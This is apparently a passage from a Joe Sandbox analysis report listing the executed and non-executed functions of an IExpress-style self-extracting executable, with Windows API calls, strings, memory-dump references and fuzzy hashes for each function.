Instruction ID: cfe85f7e59451902a1de849117f1dea386da0f02b8553b332a4b41344fea24ce
Opcode Fuzzy Hash: 9f23079a79aaf393f30d7d52ead263bb4ecc079f7f4d037dad90965ff67e785b
Instruction Fuzzy Hash: 03318132B08B41CBD7A48F25F8416A9B7A4FB897A4F844575EB8D83B58DF38D054CB50

Function 00007FF6975A63B8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6975A114C: _vsnprintf.MSVCRT ref: 00007FF6975A1189

RemoveDirectoryA.KERNELBASE(0000000A,00007FF6975A2CE1), ref: 00007FF6975A6423
GetFileAttributesA.KERNELBASE ref: 00007FF6975A6432
GetTempFileNameA.KERNEL32 ref: 00007FF6975A645B
DeleteFileA.KERNEL32 ref: 00007FF6975A6473
CreateDirectoryA.KERNEL32 ref: 00007FF6975A6484
CreateDirectoryA.KERNELBASE ref: 00007FF6975A64BB

Strings

IXP, xrefs: 00007FF6975A644E
IXP%03d.TMP, xrefs: 00007FF6975A63E6

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: IXP$IXP%03d.TMP
API String ID: 1082909758-3932986939
Opcode ID: a8932f2c933087a6f7710ab058026970ef7685da5f8c2755a45c3c5b36be9ab1
Instruction ID: e07ea5e00140c40ac5bb82d8eb8f1cc2a9567b63357bbe1075449f226dd3837a
Opcode Fuzzy Hash: a8932f2c933087a6f7710ab058026970ef7685da5f8c2755a45c3c5b36be9ab1
Instruction Fuzzy Hash: AD216171A0894186EB689B12A9903F97791FF8DBE0F858170DD4E87795CF3CD445C610

Function 00007FF6975A8200 Relevance: 12.1, APIs: 8, Instructions: 136sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6975A8964: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6975A8994
Part of subcall function 00007FF6975A8964: GetCurrentProcessId.KERNEL32 ref: 00007FF6975A89A2
Part of subcall function 00007FF6975A8964: GetCurrentThreadId.KERNEL32 ref: 00007FF6975A89AE
Part of subcall function 00007FF6975A8964: GetTickCount.KERNEL32 ref: 00007FF6975A89BA
Part of subcall function 00007FF6975A8964: GetTickCount.KERNEL32 ref: 00007FF6975A89CA
Part of subcall function 00007FF6975A8964: QueryPerformanceCounter.KERNEL32 ref: 00007FF6975A89E5

GetStartupInfoW.KERNEL32 ref: 00007FF6975A8235
_amsg_exit.MSVCRT ref: 00007FF6975A8270
Sleep.KERNEL32 ref: 00007FF6975A827C
_initterm.MSVCRT ref: 00007FF6975A830A
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6975A8337
exit.MSVCRT ref: 00007FF6975A83C9
_cexit.MSVCRT ref: 00007FF6975A83D8
_ismbblead.MSVCRT ref: 00007FF6975A83F8

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_initterm_ismbbleadexit
String ID:
API String ID: 2995914023-0
Opcode ID: d49111f4b884f1987b7511ab97b886bea71faf8ec09ccfccceaf9d5ebbbc5980
Instruction ID: f32be0e518e7b98fcbdc5a93ca3e5f17e3ac0cfaefbfee0a5fa473731c3f7ced
Opcode Fuzzy Hash: d49111f4b884f1987b7511ab97b886bea71faf8ec09ccfccceaf9d5ebbbc5980
Instruction Fuzzy Hash: 1A510531E08A4686EBB98B61E85037926A4FF447E4F9400B5DA4EC72A5DF3DF845C728

Function 00007FF6975A60A4 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5078
Part of subcall function 00007FF6975A5050: SizeofResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5089
Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50AF
Part of subcall function 00007FF6975A5050: LoadResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50C0
Part of subcall function 00007FF6975A5050: LockResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50CF
Part of subcall function 00007FF6975A5050: memcpy_s.MSVCRT ref: 00007FF6975A50EE
Part of subcall function 00007FF6975A5050: FreeResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50FD

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF6975A3123), ref: 00007FF6975A60C9
LocalFree.KERNEL32 ref: 00007FF6975A6142

Part of subcall function 00007FF6975A4DCC: LoadStringA.USER32 ref: 00007FF6975A4E60
Part of subcall function 00007FF6975A4DCC: MessageBoxA.USER32 ref: 00007FF6975A4EA0

Part of subcall function 00007FF6975A7700: GetLastError.KERNEL32 ref: 00007FF6975A7704

Strings

<None>, xrefs: 00007FF6975A615A
, xrefs: 00007FF6975A6198
UPROMPT, xrefs: 00007FF6975A60B1, 00007FF6975A610E

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: $<None>$UPROMPT
API String ID: 957408736-2569542085
Opcode ID: 3c89efd78b919c53ae921da62a7823d40fc529b0e6928f9f5a66cf62d4f2101d
Instruction ID: f7fab13b29cb76ff3ad5d5411d6ebb306ecd65b7dc1c4f5aaf1e15426630d201
Opcode Fuzzy Hash: 3c89efd78b919c53ae921da62a7823d40fc529b0e6928f9f5a66cf62d4f2101d
Instruction Fuzzy Hash: 74319471A08642C7FBF85B20E55077A7A61FF897E4F008175CA0E86695DF7DD4048B60

Function 00007FF6975A5380 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32 ref: 00007FF6975A5407
CreateFileA.KERNELBASE ref: 00007FF6975A54C5
CreateFileA.KERNEL32 ref: 00007FF6975A557E

Strings

*MEMCAB, xrefs: 00007FF6975A53FD

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: CreateFile$lstrcmp
String ID: *MEMCAB
API String ID: 1301100335-3211172518
Opcode ID: fab58b71c17961be18cd8b0539a41123d81d0c9073bbe07ec3ef194c0142598e
Instruction ID: 1dd7f8a1033911bc301edcede989ceb4c0a9f86b959ffe6130d477178bf9c0a7
Opcode Fuzzy Hash: fab58b71c17961be18cd8b0539a41123d81d0c9073bbe07ec3ef194c0142598e
Instruction Fuzzy Hash: BE61B5A2E0874286FBB88F15A4807797A91FB49BF4F5453B5DA6E827C0DF7CE4058620

Function 00007FF6975A58B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 152timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32 ref: 00007FF6975A598F
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF6975A59AD
SetFileTime.KERNELBASE ref: 00007FF6975A59D5
SetFileAttributesA.KERNELBASE ref: 00007FF6975A5A0B
SetWindowTextA.USER32 ref: 00007FF6975A5A3E

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A593B, 00007FF6975A5A5A

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: FileTime$AttributesDateLocalTextWindow
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1150793416-388467436
Opcode ID: 8ba837678c1f67d615ec5eef46cb77bfad3a32e48b5654526580d0bdf889563c
Instruction ID: bc459da13d2f0d4774d6ea195ca1544ccec6f4de21ec9906ea104000d0bf1c9e
Opcode Fuzzy Hash: 8ba837678c1f67d615ec5eef46cb77bfad3a32e48b5654526580d0bdf889563c
Instruction Fuzzy Hash: 595193B2A18A4385FBF89B11D4409BD27A0FB48BF0F5441B1EA4EC7296DE3CE545C360

Function 00007FF6975A4C68 Relevance: 10.6, APIs: 7, Instructions: 100COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6975A156E), ref: 00007FF6975A4C9B
GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6975A156E), ref: 00007FF6975A4CBC
GetDC.USER32 ref: 00007FF6975A4CD9
GetDeviceCaps.GDI32 ref: 00007FF6975A4CF0
GetDeviceCaps.GDI32 ref: 00007FF6975A4D07
ReleaseDC.USER32 ref: 00007FF6975A4D20
SetWindowPos.USER32 ref: 00007FF6975A4D92

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 0d796e944f2108898d7f7223ae91cc33082503468592f481f03ae45c8c0a45dc
Instruction ID: b7ac07c075faf712f558efa7940aeb57eb25c334e0a504270446c090d291d378
Opcode Fuzzy Hash: 0d796e944f2108898d7f7223ae91cc33082503468592f481f03ae45c8c0a45dc
Instruction Fuzzy Hash: 3B318232B149518EE7A48B75E8045BD7FB0F749BA9F545170CE0A97B48CF3DE4458B10

Function 00007FF6975A6B70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF6975A6BA0

Strings

TMP4351$.TMP, xrefs: 00007FF6975A6C03

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: AllocLocal
String ID: TMP4351$.TMP
API String ID: 3494564517-2619824408
Opcode ID: d5ace99f2663905ba72166a92556dafad1272f0db083ef97e46a8f7b12bd3ef1
Instruction ID: 4c1cd9970bbe70aac245eff5f1c246ab9ea53091dc094b5a346819a1cb7753c0
Opcode Fuzzy Hash: d5ace99f2663905ba72166a92556dafad1272f0db083ef97e46a8f7b12bd3ef1
Instruction Fuzzy Hash: BA31B171A0875587FBA89B24A41037ABA90FB85BF4F444374DA6E87BD5CF3CD8058710

Function 00007FF6975A7AC8 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF6975A7AF2
LoadResource.KERNEL32 ref: 00007FF6975A7B09
DialogBoxIndirectParamA.USER32 ref: 00007FF6975A7B3F
FreeResource.KERNEL32 ref: 00007FF6975A7B51

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 05ae3199707917ede6f93554733ac842423239086612fc629f4ab3851e21dd44
Instruction ID: 2930f86eaacc43f4072e577ec0cab23151cda24f9685c346b40e326c74914d7c
Opcode Fuzzy Hash: 05ae3199707917ede6f93554733ac842423239086612fc629f4ab3851e21dd44
Instruction Fuzzy Hash: CD115171A08B4586EAA48B11F44026ABBA0FB99FF0F484774DE9D47BE8DF3CD4408B14

Function 00007FF6975A5690 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6975A3B40: MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF6975A3A09), ref: 00007FF6975A3B64
Part of subcall function 00007FF6975A3B40: PeekMessageA.USER32 ref: 00007FF6975A3B89
Part of subcall function 00007FF6975A3B40: PeekMessageA.USER32 ref: 00007FF6975A3BCD

WriteFile.KERNELBASE ref: 00007FF6975A56E4

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 98c152f8f55bf9a598385b6332d329f7c6a89d95a4b0cf9b0f7515c751b46731
Instruction ID: d2dc53c208f2a31555bb5e737841d07bd90c1767f23a25163dfb6a8fcf54c818
Opcode Fuzzy Hash: 98c152f8f55bf9a598385b6332d329f7c6a89d95a4b0cf9b0f7515c751b46731
Instruction Fuzzy Hash: A721A160A0864286EBB88F15E844B75B7A0FF84BF8F148274D92D876E8CF3DD405CB50

Function 00007FF6975A51BC Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE ref: 00007FF6975A51C9
SetFileAttributesA.KERNEL32 ref: 00007FF6975A524E

Part of subcall function 00007FF6975A7AC8: FindResourceA.KERNEL32 ref: 00007FF6975A7AF2
Part of subcall function 00007FF6975A7AC8: LoadResource.KERNEL32 ref: 00007FF6975A7B09
Part of subcall function 00007FF6975A7AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF6975A7B3F
Part of subcall function 00007FF6975A7AC8: FreeResource.KERNEL32 ref: 00007FF6975A7B51

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Resource$AttributesFile$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 2018477427-0
Opcode ID: 2994afcc96e4644f858f991349daac6ec3ef4dc9132b2516fbef1fb9fafb314f
Instruction ID: 1d69f5c080947587b324661d690dff3cf5ac04e84ca79c989327964b1003b7f5
Opcode Fuzzy Hash: 2994afcc96e4644f858f991349daac6ec3ef4dc9132b2516fbef1fb9fafb314f
Instruction Fuzzy Hash: 2E117C7190C68282F7F84B50A58437566A0FF457F8F1842B0CA4DC6AA5CF7EE884C310

Function 00007FF6975A7BA8 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CharPrevA.USER32 ref: 00007FF6975A7BEF

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: fe64812d24aaa535377f96cafa4c6c3212caf3ba105ea9cba34c300c858a7088
Instruction ID: 361202af8b4effbc7edc08c701f9858d038fa079dc0ec75205583d3447b60134
Opcode Fuzzy Hash: fe64812d24aaa535377f96cafa4c6c3212caf3ba105ea9cba34c300c858a7088
Instruction Fuzzy Hash: F901F951A0C7C186F7A54F11A84036DBE90E785BF0F5896B0DB69877E5CF2CD8428B50

Function 00007FF6975A5770 Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF6975A57A9

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b743c40088155ea186d23191c44c420b4fd161faa50afe9f4e766b5de3d239a5
Instruction ID: 1110b8b1bbfa7e43174ebe7574242c3e6b03c4ddb1575fcb495b5b69327c3e32
Opcode Fuzzy Hash: b743c40088155ea186d23191c44c420b4fd161faa50afe9f4e766b5de3d239a5
Instruction Fuzzy Hash: C9F03071608782D2EB6C4F25F68157976B0FB48BE8F144279DA2B9B6C8CF78D581C720

Non-executed Functions

Function 00007FF6975A3530 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 174windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF6975A35AA
EndDialog.USER32 ref: 00007FF6975A374E
GetDesktopWindow.USER32 ref: 00007FF6975A377E
SetWindowTextA.USER32 ref: 00007FF6975A379F
SendDlgItemMessageA.USER32 ref: 00007FF6975A37C3
GetDlgItem.USER32 ref: 00007FF6975A37E0
EnableWindow.USER32 ref: 00007FF6975A37F1
EndDialog.USER32 ref: 00007FF6975A3804

Strings

52352352352, xrefs: 00007FF6975A3795
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A3635
, xrefs: 00007FF6975A36B6

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Window$DialogItem$DesktopEnableLoadMessageSendStringText
String ID: $52352352352$C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3530494346-1973814555
Opcode ID: 02408ae6c79d5afd0dbd1d350f378b5c084b7eca4ab1b8cbcc717c39842157fc
Instruction ID: d0cb5bc4b6c3475c7f20b73bb75e483ad6fae6f87ceb4be708bbd0ba2acfa2a8
Opcode Fuzzy Hash: 02408ae6c79d5afd0dbd1d350f378b5c084b7eca4ab1b8cbcc717c39842157fc
Instruction Fuzzy Hash: 07718761E0C78286FBFC9B25A4143796A91FF8ABE4F5481B0DA4E87699CF3CD505C720

Function 00007FF6975A12EC Relevance: 16.6, APIs: 11, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6975A11CC: LoadLibraryA.KERNEL32 ref: 00007FF6975A1209
Part of subcall function 00007FF6975A11CC: GetProcAddress.KERNEL32 ref: 00007FF6975A122B
Part of subcall function 00007FF6975A11CC: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6975A1278
Part of subcall function 00007FF6975A11CC: FreeSid.ADVAPI32 ref: 00007FF6975A12A0
Part of subcall function 00007FF6975A11CC: FreeLibrary.KERNEL32 ref: 00007FF6975A12AF

GetCurrentProcess.KERNEL32 ref: 00007FF6975A134D
OpenProcessToken.ADVAPI32 ref: 00007FF6975A1363
GetTokenInformation.ADVAPI32 ref: 00007FF6975A138C
GetLastError.KERNEL32 ref: 00007FF6975A13A0
LocalAlloc.KERNEL32 ref: 00007FF6975A13BA
GetTokenInformation.ADVAPI32 ref: 00007FF6975A13E8
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6975A1435
EqualSid.ADVAPI32 ref: 00007FF6975A1460
FreeSid.ADVAPI32 ref: 00007FF6975A1485
LocalFree.KERNEL32 ref: 00007FF6975A1494
CloseHandle.KERNEL32 ref: 00007FF6975A14A4

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 6813b6756910e0ae34933596af1690bcf55f2b4d44473aa3a3cec1d83aee30ca
Instruction ID: 0bfa80aa147fb2d9c7b9fa35b75949db5bb66b8b11eeef8e7c38c15ffe0715c1
Opcode Fuzzy Hash: 6813b6756910e0ae34933596af1690bcf55f2b4d44473aa3a3cec1d83aee30ca
Instruction Fuzzy Hash: 94515E32A04A51CEEB648F25E4801B97BB4FB4DBE8F4151B5DA0E93758DF38D444CB50

Function 00007FF6975A1C0C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6975A2D7F), ref: 00007FF6975A1C21
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF6975A2D7F), ref: 00007FF6975A1C3A
LookupPrivilegeValueA.ADVAPI32 ref: 00007FF6975A1C7B
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6975A1CB2
CloseHandle.KERNEL32 ref: 00007FF6975A1CC5
ExitWindowsEx.USER32 ref: 00007FF6975A1CF1

Strings

SeShutdownPrivilege, xrefs: 00007FF6975A1C74

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentExitHandleLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 2829607268-3733053543
Opcode ID: 4521cc09d256cc9c0a3583f069d9fa5dc9083d0cfa193007e767185542f0c5c5
Instruction ID: d9c4ab4415d805b2d0d7e8e697111864e47174dbc1a0e190de3719c7b0f58729
Opcode Fuzzy Hash: 4521cc09d256cc9c0a3583f069d9fa5dc9083d0cfa193007e767185542f0c5c5
Instruction Fuzzy Hash: BB21B472A18A42C7FBB48B60E05577ABBB0FB897A5F409175DA4E87A58DF3CD044CB10

Function 00007FF6975A8964 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6975A8994
GetCurrentProcessId.KERNEL32 ref: 00007FF6975A89A2
GetCurrentThreadId.KERNEL32 ref: 00007FF6975A89AE
GetTickCount.KERNEL32 ref: 00007FF6975A89BA
GetTickCount.KERNEL32 ref: 00007FF6975A89CA
QueryPerformanceCounter.KERNEL32 ref: 00007FF6975A89E5

Memory Dump Source

